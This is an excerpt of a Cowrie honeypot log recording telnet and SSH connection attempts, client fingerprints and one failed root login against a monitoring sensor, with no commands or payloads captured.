{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":46424,"dst_ip":"10.17.0.5","dst_port":23,"session":"fa126cfcecc3","protocol":"telnet","message":"New connection: 24.199.85.165:46424 (10.17.0.5:23) [session: fa126cfcecc3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:38:04.198042Z"}
{"eventid":"cowrie.session.closed","duration":36.87863206863403,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:38:06.780378Z","src_ip":"24.199.85.165","session":"5facc7e52830","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":46436,"dst_ip":"10.17.0.5","dst_port":23,"session":"8699edc940eb","protocol":"telnet","message":"New connection: 24.199.85.165:46436 (10.17.0.5:23) [session: 8699edc940eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:38:09.041297Z"}
{"eventid":"cowrie.session.closed","duration":44.822258949279785,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:38:09.453191Z","src_ip":"24.199.85.165","session":"5a197de77cc3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.26176643371582,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:38:12.322116Z","src_ip":"24.199.85.165","session":"3a16492e3a06","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":60006,"dst_ip":"10.17.0.5","dst_port":23,"session":"45c5465084ea","protocol":"telnet","message":"New connection: 24.199.85.165:60006 (10.17.0.5:23) [session: 45c5465084ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:38:12.660330Z"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":60022,"dst_ip":"10.17.0.5","dst_port":23,"session":"dbca9d9dbfb4","protocol":"telnet","message":"New connection: 24.199.85.165:60022 (10.17.0.5:23) [session: dbca9d9dbfb4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:38:14.742774Z"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":60032,"dst_ip":"10.17.0.5","dst_port":23,"session":"e8ec8ec1d272","protocol":"telnet","message":"New connection: 24.199.85.165:60032 (10.17.0.5:23) [session: e8ec8ec1d272]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:38:14.800981Z"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":60040,"dst_ip":"10.17.0.5","dst_port":23,"session":"00704f320a56","protocol":"telnet","message":"New connection: 24.199.85.165:60040 (10.17.0.5:23) [session: 00704f320a56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:38:14.927240Z"}
{"eventid":"cowrie.session.closed","duration":33.187745809555054,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:38:20.792755Z","src_ip":"24.199.85.165","session":"ec2f52a30b08","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.79966139793396,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:38:23.334104Z","src_ip":"24.199.85.165","session":"8b2e2e54c18f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.31668829917908,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:38:24.735004Z","src_ip":"24.199.85.165","session":"b757403b351a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.936554193496704,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:38:24.932583Z","src_ip":"24.199.85.165","session":"781bcdfa2446","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.86145853996277,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:38:25.230041Z","src_ip":"24.199.85.165","session":"7063f6982ce4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.48312020301819,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:38:25.357361Z","src_ip":"24.199.85.165","session":"1298654c6b09","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.252.223","src_port":65508,"dst_ip":"159.203.135.109","dst_port":22,"session":"26fc4b9616d2","protocol":"ssh","message":"New connection: 103.149.252.223:65508 (159.203.135.109:22) [session: 26fc4b9616d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:38:26.140215Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:38:26.144449Z","src_ip":"103.149.252.223","session":"26fc4b9616d2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:38:26.150620Z","src_ip":"103.149.252.223","session":"26fc4b9616d2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.0511212348938,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:38:27.035629Z","src_ip":"24.199.85.165","session":"b84267041aaf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"121.122.119.48","src_port":56252,"dst_ip":"159.203.135.109","dst_port":22,"session":"e698d11d6798","protocol":"ssh","message":"New connection: 121.122.119.48:56252 (159.203.135.109:22) [session: e698d11d6798]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:38:27.288129Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:38:27.291762Z","src_ip":"121.122.119.48","session":"e698d11d6798","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:38:27.523108Z","src_ip":"121.122.119.48","session":"e698d11d6798","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.60234713554382,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:38:28.396253Z","src_ip":"24.199.85.165","session":"48c1ae415a18","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"hernan","message":"login attempt [root/hernan] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:38:28.482757Z","src_ip":"121.122.119.48","session":"e698d11d6798","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":35558,"dst_ip":"10.17.0.5","dst_port":23,"session":"0357e9b246ac","protocol":"telnet","message":"New connection: 24.199.85.165:35558 (10.17.0.5:23) [session: 0357e9b246ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:38:29.539736Z"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":35562,"dst_ip":"10.17.0.5","dst_port":23,"session":"6193de9224ab","protocol":"telnet","message":"New connection: 24.199.85.165:35562 (10.17.0.5:23) [session: 6193de9224ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:38:29.661716Z"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:38:29.716885Z","src_ip":"121.122.119.48","session":"e698d11d6798","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":35564,"dst_ip":"10.17.0.5","dst_port":23,"session":"e150d5382df0","protocol":"telnet","message":"New connection: 24.199.85.165:35564 (10.17.0.5:23) [session: e150d5382df0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:38:29.942864Z"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":35578,"dst_ip":"10.17.0.5","dst_port":23,"session":"1208a73048f5","protocol":"telnet","message":"New connection: 24.199.85.165:35578 (10.17.0.5:23) [session: 1208a73048f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:38:31.280406Z"}
{"eventid":"cowrie.session.closed","duration":33.96438455581665,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:38:31.984365Z","src_ip":"24.199.85.165","session":"48e234451848","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":34598,"dst_ip":"10.17.0.5","dst_port":23,"session":"faf0cca36aa5","protocol":"telnet","message":"New connection: 24.199.85.165:34598 (10.17.0.5:23) [session: faf0cca36aa5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:38:34.518835Z"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":34608,"dst_ip":"10.17.0.5","dst_port":23,"session":"f5ada1507f84","protocol":"telnet","message":"New connection: 24.199.85.165:34608 (10.17.0.5:23) [session: f5ada1507f84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:38:34.986460Z"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":34624,"dst_ip":"10.17.0.5","dst_port":23,"session":"96e4e7ec6c13","protocol":"telnet","message":"New connection: 24.199.85.165:34624 (10.17.0.5:23) [session: 96e4e7ec6c13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:38:35.395762Z"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":34628,"dst_ip":"10.17.0.5","dst_port":23,"session":"9696a6b248db","protocol":"telnet","message":"New connection: 24.199.85.165:34628 (10.17.0.5:23) [session: 9696a6b248db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:38:36.170537Z"}
{"eventid":"cowrie.session.closed","duration":35.07061958312988,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:38:39.268528Z","src_ip":"24.199.85.165","session":"fa126cfcecc3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.997090101242065,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:38:48.038215Z","src_ip":"24.199.85.165","session":"8699edc940eb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":44976,"dst_ip":"10.17.0.5","dst_port":23,"session":"ba3ed8e24590","protocol":"telnet","message":"New connection: 24.199.85.165:44976 (10.17.0.5:23) [session: ba3ed8e24590]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:38:49.773349Z"}
{"eventid":"cowrie.session.closed","duration":36.0856831073761,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:38:51.012777Z","src_ip":"24.199.85.165","session":"00704f320a56","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":44990,"dst_ip":"10.17.0.5","dst_port":23,"session":"c97ffad55603","protocol":"telnet","message":"New connection: 24.199.85.165:44990 (10.17.0.5:23) [session: c97ffad55603]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:38:51.434033Z"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":44994,"dst_ip":"10.17.0.5","dst_port":23,"session":"bebc43e8922c","protocol":"telnet","message":"New connection: 24.199.85.165:44994 (10.17.0.5:23) [session: bebc43e8922c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:38:51.784773Z"}
{"eventid":"cowrie.session.closed","duration":37.14835000038147,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:38:51.890999Z","src_ip":"24.199.85.165","session":"dbca9d9dbfb4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.43088507652283,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:38:52.091047Z","src_ip":"24.199.85.165","session":"45c5465084ea","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.13155794143677,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:38:52.932387Z","src_ip":"24.199.85.165","session":"e8ec8ec1d272","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":48234,"dst_ip":"10.17.0.5","dst_port":23,"session":"d3af663350f6","protocol":"telnet","message":"New connection: 24.199.85.165:48234 (10.17.0.5:23) [session: d3af663350f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:38:58.347942Z"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":48246,"dst_ip":"10.17.0.5","dst_port":23,"session":"219fe932bec0","protocol":"telnet","message":"New connection: 24.199.85.165:48246 (10.17.0.5:23) [session: 219fe932bec0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:38:58.367681Z"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":48262,"dst_ip":"10.17.0.5","dst_port":23,"session":"c83bd00ddd3c","protocol":"telnet","message":"New connection: 24.199.85.165:48262 (10.17.0.5:23) [session: c83bd00ddd3c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:38:58.574367Z"}
{"eventid":"cowrie.session.closed","duration":30.497878313064575,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:39:00.440619Z","src_ip":"24.199.85.165","session":"e150d5382df0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":48276,"dst_ip":"10.17.0.5","dst_port":23,"session":"dcf3b2cf634e","protocol":"telnet","message":"New connection: 24.199.85.165:48276 (10.17.0.5:23) [session: dcf3b2cf634e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:39:01.467386Z"}
{"eventid":"cowrie.session.closed","duration":34.37827229499817,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:39:04.039901Z","src_ip":"24.199.85.165","session":"6193de9224ab","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.20343613624573,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:39:06.743102Z","src_ip":"24.199.85.165","session":"0357e9b246ac","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.442147731781006,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:39:09.960903Z","src_ip":"24.199.85.165","session":"faf0cca36aa5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.27965545654297,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:39:12.266022Z","src_ip":"24.199.85.165","session":"f5ada1507f84","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.1371328830719,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:39:13.532716Z","src_ip":"24.199.85.165","session":"96e4e7ec6c13","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.68921613693237,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:39:14.969523Z","src_ip":"24.199.85.165","session":"1208a73048f5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.55327773094177,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:39:16.723689Z","src_ip":"24.199.85.165","session":"9696a6b248db","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":39034,"dst_ip":"10.17.0.5","dst_port":23,"session":"ca2948d3435f","protocol":"telnet","message":"New connection: 24.199.85.165:39034 (10.17.0.5:23) [session: ca2948d3435f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:39:23.343015Z"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":39048,"dst_ip":"10.17.0.5","dst_port":23,"session":"b51b1c35278c","protocol":"telnet","message":"New connection: 24.199.85.165:39048 (10.17.0.5:23) [session: b51b1c35278c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:39:26.300848Z"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":39058,"dst_ip":"10.17.0.5","dst_port":23,"session":"b09f5b4f4392","protocol":"telnet","message":"New connection: 24.199.85.165:39058 (10.17.0.5:23) [session: b09f5b4f4392]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:39:29.211464Z"}
{"eventid":"cowrie.session.closed","duration":38.17753076553345,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:39:29.611430Z","src_ip":"24.199.85.165","session":"c97ffad55603","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":39060,"dst_ip":"10.17.0.5","dst_port":23,"session":"e068b26c1d78","protocol":"telnet","message":"New connection: 24.199.85.165:39060 (10.17.0.5:23) [session: e068b26c1d78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:39:29.774449Z"}
{"eventid":"cowrie.session.closed","duration":40.04020977020264,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:39:29.813315Z","src_ip":"24.199.85.165","session":"ba3ed8e24590","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":39064,"dst_ip":"10.17.0.5","dst_port":23,"session":"5835152e3266","protocol":"telnet","message":"New connection: 24.199.85.165:39064 (10.17.0.5:23) [session: 5835152e3266]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:39:30.067391Z"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":39076,"dst_ip":"10.17.0.5","dst_port":23,"session":"1d1aedcf456b","protocol":"telnet","message":"New connection: 24.199.85.165:39076 (10.17.0.5:23) [session: 1d1aedcf456b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:39:30.252748Z"}
{"eventid":"cowrie.session.closed","duration":38.88848400115967,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:39:30.673164Z","src_ip":"24.199.85.165","session":"bebc43e8922c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":39092,"dst_ip":"10.17.0.5","dst_port":23,"session":"96be93c470cd","protocol":"telnet","message":"New connection: 24.199.85.165:39092 (10.17.0.5:23) [session: 96be93c470cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:39:30.793797Z"}
{"eventid":"cowrie.session.connect","src_ip":"181.119.94.34","src_port":59104,"dst_ip":"159.203.135.109","dst_port":23,"session":"d207568a9720","protocol":"telnet","message":"New connection: 181.119.94.34:59104 (159.203.135.109:23) [session: d207568a9720]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:39:31.823518Z"}
{"eventid":"cowrie.session.closed","duration":34.34029245376587,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:39:32.914537Z","src_ip":"24.199.85.165","session":"c83bd00ddd3c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"121.122.119.48","src_port":36950,"dst_ip":"159.203.135.109","dst_port":22,"session":"4a30b5c78363","protocol":"ssh","message":"New connection: 121.122.119.48:36950 (159.203.135.109:22) [session: 4a30b5c78363]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:39:32.950826Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:39:32.956187Z","src_ip":"121.122.119.48","session":"4a30b5c78363","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:39:33.190200Z","src_ip":"121.122.119.48","session":"4a30b5c78363","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.868834495544434,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:39:33.236486Z","src_ip":"24.199.85.165","session":"219fe932bec0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":50984,"dst_ip":"10.17.0.5","dst_port":23,"session":"b6c77dc8d9d6","protocol":"telnet","message":"New connection: 24.199.85.165:50984 (10.17.0.5:23) [session: b6c77dc8d9d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:39:33.282093Z"}
